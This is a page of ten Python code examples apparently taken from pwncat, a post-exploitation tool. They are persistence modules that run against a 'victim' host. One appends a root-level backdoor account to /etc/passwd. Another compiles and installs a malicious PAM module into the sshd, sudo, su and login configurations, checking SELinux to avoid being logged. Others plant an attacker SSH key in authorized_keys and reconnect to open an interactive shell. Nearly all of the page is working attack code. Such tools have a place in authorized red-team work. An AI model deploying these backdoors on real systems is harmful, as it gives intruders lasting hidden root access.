コード例 #1
0
    def install(self, user, backdoor_user, backdoor_pass, shell):
        """ Install this module """

        # Hash the password
        hashed = crypt.crypt(backdoor_pass)

        if shell == "current":
            shell = pwncat.victim.shell

        try:
            with pwncat.victim.open("/etc/passwd", "r") as filp:
                passwd = filp.readlines()
        except (PermissionError, FileNotFoundError) as exc:
            raise PersistError(str(exc))

        passwd.append(f"{backdoor_user}:{hashed}:0:0::/root:{shell}\n")
        passwd_content = "".join(passwd)

        try:
            with pwncat.victim.open(
                "/etc/passwd", "w", length=len(passwd_content)
            ) as filp:
                filp.write(passwd_content)
        except (PermissionError, FileNotFoundError) as exc:
            raise PersistError(str(exc))

        # Reload the user database
        pwncat.victim.reload_users()
コード例 #2
0
ファイル: passwd.py プロジェクト: squid22/pwncat-1
    def remove(self, user, backdoor_user, backdoor_pass, shell):
        """ Remove this module """

        # Hash the password
        hashed = crypt.crypt(backdoor_pass)

        if shell == "current":
            shell = pwncat.victim.shell

        try:
            with pwncat.victim.open("/etc/passwd", "r") as filp:
                passwd = filp.readlines()
        except (PermissionError, FileNotFoundError) as exc:
            raise PersistError(str(exc))

        for i in range(len(passwd)):
            entry = passwd[i].split(":")
            if entry[0] == backdoor_user:
                passwd.pop(i)
                break
        else:
            return

        passwd_content = "".join(passwd)

        try:
            with pwncat.victim.open("/etc/passwd",
                                    "w",
                                    length=len(passwd_content)) as filp:
                filp.write(passwd_content)
        except (PermissionError, FileNotFoundError) as exc:
            raise PersistError(str(exc))

        # Reload the user database
        pwncat.victim.reload_users()
コード例 #3
0
    def connect(self, user, backdoor_user, backdoor_pass, shell):

        try:
            yield Status("connecting to host")
            # Connect to the remote host's ssh server
            sock = socket.create_connection((pwncat.victim.host.ip, 22))
        except Exception as exc:
            raise PersistError(str(exc))

        # Create a paramiko SSH transport layer around the socket
        yield Status("wrapping socket in ssh transport")
        t = paramiko.Transport(sock)
        try:
            t.start_client()
        except paramiko.SSHException:
            raise PersistError("ssh negotiation failed")

        # Attempt authentication
        try:
            yield Status("authenticating with victim")
            t.auth_password(backdoor_user, backdoor_pass)
        except paramiko.ssh_exception.AuthenticationException:
            raise PersistError("incorrect password")

        if not t.is_authenticated():
            t.close()
            sock.close()
            raise PersistError("incorrect password")

        # Open an interactive session
        chan = t.open_session()
        chan.get_pty()
        chan.invoke_shell()

        yield chan
コード例 #4
0
    def remove(self, user, backdoor_key):
        """ Remove this persistence method """

        try:
            # Read our public key
            with open(backdoor_key + ".pub", "r") as filp:
                pubkey = filp.readlines()
        except (FileNotFoundError, PermissionError) as exc:
            raise PersistError(str(exc))

        # Find the user's home directory
        homedir = pwncat.victim.users[user].homedir
        if not homedir or homedir == "":
            raise PersistError("no home directory")

        # Remove the tamper tracking
        for tamper in pwncat.victim.tamper.filter(pwncat.tamper.ModifiedFile):
            if (tamper.path == os.path.join(homedir, ".ssh", "authorized_keys")
                    and tamper.added_lines == pubkey):
                try:
                    # Attempt to revert our changes
                    tamper.revert()
                except pwncat.tamper.RevertFailed as exc:
                    raise PersistError(str(exc))
                # Remove the tamper tracker
                pwncat.victim.tamper.remove(tamper)
                break
        else:
            raise PersistError("failed to find matching tamper")
コード例 #5
0
    def remove(self, **unused):
        """ Remove this module """

        try:

            # Locate the pam_deny.so to know where to place the new module
            pam_modules = "/usr/lib/security"

            yield Status("locating pam modules")

            results = (
                pwncat.victim.run(
                    "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
                )
                .strip()
                .decode("utf-8")
            )
            if results != "":
                results = results.split("\n")
                pam_modules = os.path.dirname(results[0])

            yield Status(f"pam modules located at {pam_modules}")

            # Ensure the directory exists and is writable
            access = pwncat.victim.access(pam_modules)
            if (Access.DIRECTORY | Access.WRITE) in access:
                # Remove the the module
                pwncat.victim.env(
                    ["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")]
                )
                new_line = "auth\tsufficient\tpam_succeed.so\n"

                # Remove this auth method from the following pam configurations
                for config in ["sshd", "sudo", "su", "login"]:
                    config = os.path.join("/etc/pam.d", config)
                    try:
                        with pwncat.victim.open(config, "r") as filp:
                            content = filp.readlines()
                    except (PermissionError, FileNotFoundError):
                        continue

                    # Add this auth statement before the first auth statement
                    content = [line for line in content if line != new_line]
                    content = "".join(content)

                    try:
                        with pwncat.victim.open(
                            config, "w", length=len(content)
                        ) as filp:
                            filp.write(content)
                    except (PermissionError, FileNotFoundError):
                        continue
            else:
                raise PersistError("insufficient permissions")
        except FileNotFoundError as exc:
            # Uh-oh, some binary was missing... I'm not sure what to do here...
            raise PersistError(f"[red]error[/red]: {exc}")
コード例 #6
0
    def escalate(self, user: str, password: str, log: str) -> bool:
        """ Escalate to the given user with this module """

        try:
            pwncat.victim.su(user, password)
        except PermissionError:
            raise PersistError("Escalation failed. Is selinux enabled?")
コード例 #7
0
    def connect(self, user, backdoor_key: str) -> socket.SocketType:
        """ Reconnect to this host with this persistence method """

        try:
            # Connect to the remote host's ssh server
            sock = socket.create_connection((pwncat.victim.host.ip, 22))
        except Exception as exc:
            raise PersistError(str(exc))

        # Create a paramiko SSH transport layer around the socket
        t = paramiko.Transport(sock)
        try:
            t.start_client()
        except paramiko.SSHException:
            raise PersistError("ssh negotiation failed")

        try:
            # Load the private key for the user
            key = paramiko.RSAKey.from_private_key_file(backdoor_key)
        except:
            password = prompt("RSA Private Key Passphrase: ", is_password=True)
            key = paramiko.RSAKey.from_private_key_file(backdoor_key, password)

        # Attempt authentication
        try:
            t.auth_publickey(user, key)
        except paramiko.ssh_exception.AuthenticationException:
            raise PersistError("authorized key authentication failed")

        if not t.is_authenticated():
            t.close()
            sock.close()
            raise PersistError("authorized key authentication failed")

        # Open an interactive session
        chan = t.open_session()
        chan.get_pty()
        chan.invoke_shell()

        return chan
コード例 #8
0
    def run(self, remove, escalate, connect, **kwargs):
        """ This method should not be overriden by subclasses. It handles all logic
        for installation, escalation, connection, and removal. The standard interface
        of this method allows abstract interactions across all persistence modules. """

        if "user" not in kwargs:
            raise RuntimeError(f"{self.__class__} must take a user argument")

        # We need to clear the user for ALL_USERS modules,
        # but it may be needed for escalate.
        requested_user = kwargs["user"]
        if PersistType.ALL_USERS in self.TYPE:
            kwargs["user"] = None

        # Check if this module has been installed with the same arguments before
        ident = (pwncat.victim.session.query(
            pwncat.db.Persistence.id).filter_by(host_id=pwncat.victim.host.id,
                                                method=self.name,
                                                args=kwargs).scalar())

        # Remove this module
        if ident is not None and remove:
            # Run module-specific cleanup
            result = self.remove(**kwargs)
            if inspect.isgenerator(result):
                yield from result
            else:
                yield result

            # Remove from the database
            pwncat.victim.session.query(pwncat.db.Persistence).filter_by(
                host_id=pwncat.victim.host.id, method=self.name,
                args=kwargs).delete(synchronize_session=False)
            return
        elif ident is not None and escalate:
            # This only happens for ALL_USERS, so we assume they want root.
            if requested_user is None:
                kwargs["user"] = "******"
            else:
                kwargs["user"] = requested_user

            result = self.escalate(**kwargs)
            if inspect.isgenerator(result):
                yield from result
            else:
                yield result

            # There was no exception, so we assume it worked. Put the user
            # back in raw mode. This is a bad idea, since we may be running
            # escalate from a privesc context.
            # pwncat.victim.state = State.RAW
            return
        elif ident is not None and connect:
            if requested_user is None:
                kwargs["user"] = "******"
            else:
                kwargs["user"] = requested_user
            result = self.connect(**kwargs)
            if inspect.isgenerator(result):
                yield from result
            else:
                yield result
            return
        elif ident is None and (remove or escalate or connect):
            raise PersistError(
                f"{self.name}: not installed with these arguments")
        elif ident is not None:
            yield Status(
                f"{self.name}: already installed with matching arguments")
            return

        # Let the installer also produce results
        result = self.install(**kwargs)
        if inspect.isgenerator(result):
            yield from result
        elif result is not None:
            yield result

        self.register(**kwargs)
コード例 #9
0
    def install(self, user: str, password: str, log: str):
        """ Install this module """

        if user is not None:
            self.progress.log(
                f"[yellow]warning[/yellow]: {self.name}: this module applies to all users"
            )

        if pwncat.victim.current_user.id != 0:
            raise PersistError("must be root")

        # Read the source code
        with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp:
            sneaky_source = filp.read()

        yield Status("checking selinux state")

        # SELinux causes issues depending on it's configuration
        for selinux in pwncat.modules.run(
            "enumerate.gather", progress=self.progress, types=["system.selinux"]
        ):
            if selinux.data.enabled and "enforc" in selinux.data.mode:
                raise PersistError("selinux is currently in enforce mode")
            elif selinux.data.enabled:
                self.progress.log(
                    "[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
                )

        # We use the backdoor password. Build the string of encoded bytes
        # These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
        password_hash = hashlib.sha1(password.encode("utf-8")).digest()
        password_hash = ",".join(hex(c) for c in password_hash)

        # Insert our key
        sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash)

        # Insert the log location for successful passwords
        sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log)

        yield Status("compiling pam module for target")

        try:
            # Compile our source for the remote host
            lib_path = pwncat.victim.compile(
                [io.StringIO(sneaky_source)],
                suffix=".so",
                cflags=["-shared", "-fPIE"],
                ldflags=["-lcrypto"],
            )
        except (FileNotFoundError, CompilationError) as exc:
            raise PersistError(f"pam: compilation failed: {exc}")

        yield Status("locating pam module installation")

        # Locate the pam_deny.so to know where to place the new module
        pam_modules = "/usr/lib/security"
        try:
            results = (
                pwncat.victim.run(
                    "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
                )
                .strip()
                .decode("utf-8")
            )
            if results != "":
                results = results.split("\n")
                pam_modules = os.path.dirname(results[0])
        except FileNotFoundError:
            pass

        yield Status(f"pam modules located at {pam_modules}")

        # Ensure the directory exists and is writable
        access = pwncat.victim.access(pam_modules)
        if (Access.DIRECTORY | Access.WRITE) in access:
            # Copy the module to a non-suspicious path
            yield Status("copying shared library")
            pwncat.victim.env(
                ["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
            )
            new_line = "auth\tsufficient\tpam_succeed.so\n"

            yield Status("adding pam auth configuration")

            # Add this auth method to the following pam configurations
            for config in ["sshd", "sudo", "su", "login"]:
                yield Status(f"adding pam auth configuration: {config}")
                config = os.path.join("/etc/pam.d", config)
                try:
                    # Read the original content
                    with pwncat.victim.open(config, "r") as filp:
                        content = filp.readlines()
                except (PermissionError, FileNotFoundError):
                    continue

                # We need to know if there is a rootok line. If there is,
                # we should add our line after it to ensure that rootok still
                # works.
                contains_rootok = any("pam_rootok" in line for line in content)

                # Add this auth statement before the first auth statement
                for i, line in enumerate(content):
                    # We either insert after the rootok line or before the first
                    # auth line, depending on if rootok is present
                    if contains_rootok and "pam_rootok" in line:
                        content.insert(i + 1, new_line)
                    elif not contains_rootok and line.startswith("auth"):
                        content.insert(i, new_line)
                        break
                else:
                    content.append(new_line)

                content = "".join(content)

                try:
                    with pwncat.victim.open(config, "w", length=len(content)) as filp:
                        filp.write(content)
                except (PermissionError, FileNotFoundError):
                    continue

            pwncat.victim.tamper.created_file(log)
コード例 #10
0
    def install(self, user, backdoor_key):
        """ Install this persistence method """

        homedir = pwncat.victim.users[user].homedir
        if not homedir or homedir == "":
            raise PersistError("no home directory")

        # Create .ssh directory if it doesn't exist
        access = pwncat.victim.access(os.path.join(homedir, ".ssh"))
        if Access.DIRECTORY not in access or Access.EXISTS not in access:
            pwncat.victim.run(["mkdir", "-p", os.path.join(homedir, ".ssh")])

        # Create the authorized_keys file if it doesn't exist
        access = pwncat.victim.access(
            os.path.join(homedir, ".ssh", "authorized_keys"))
        if Access.EXISTS not in access:
            pwncat.victim.run(
                ["touch",
                 os.path.join(homedir, ".ssh", "authorized_keys")])
            pwncat.victim.run([
                "chmod", "600",
                os.path.join(homedir, ".ssh", "authorized_keys")
            ])
            authkeys = []
        else:
            try:
                # Read in the current authorized keys if it exists
                with pwncat.victim.open(
                        os.path.join(homedir, ".ssh", "authorized_keys"),
                        "r") as filp:
                    authkeys = filp.readlines()
            except (FileNotFoundError, PermissionError) as exc:
                raise PersistError(str(exc))

        try:
            # Read our public key
            with open(backdoor_key + ".pub", "r") as filp:
                pubkey = filp.readlines()
        except (FileNotFoundError, PermissionError) as exc:
            raise PersistError(str(exc))

        # Ensure we read a public key
        if not pubkey:
            raise PersistError(
                f"{pwncat.config['privkey']+'.pub'}: empty public key")

        # Add our public key
        authkeys.extend(pubkey)
        authkey_data = "".join(authkeys)

        # Write the authorized keys back to the authorized keys
        try:
            with pwncat.victim.open(
                    os.path.join(homedir, ".ssh", "authorized_keys"),
                    "w",
                    length=len(authkey_data),
            ) as filp:
                filp.write(authkey_data)
        except (FileNotFoundError, PermissionError) as exc:
            raise PersistError(str(exc))

        # Ensure we have correct permissions for ssh to work properly
        pwncat.victim.env(
            ["chmod", "600",
             os.path.join(homedir, ".ssh", "authorized_keys")])
        pwncat.victim.env([
            "chown",
            f"{user}:{user}",
            os.path.join(homedir, ".ssh", "authorized_keys"),
        ])

        # Register the modifications with the tamper module
        pwncat.victim.tamper.modified_file(os.path.join(
            homedir, ".ssh", "authorized_keys"),
                                           added_lines=pubkey)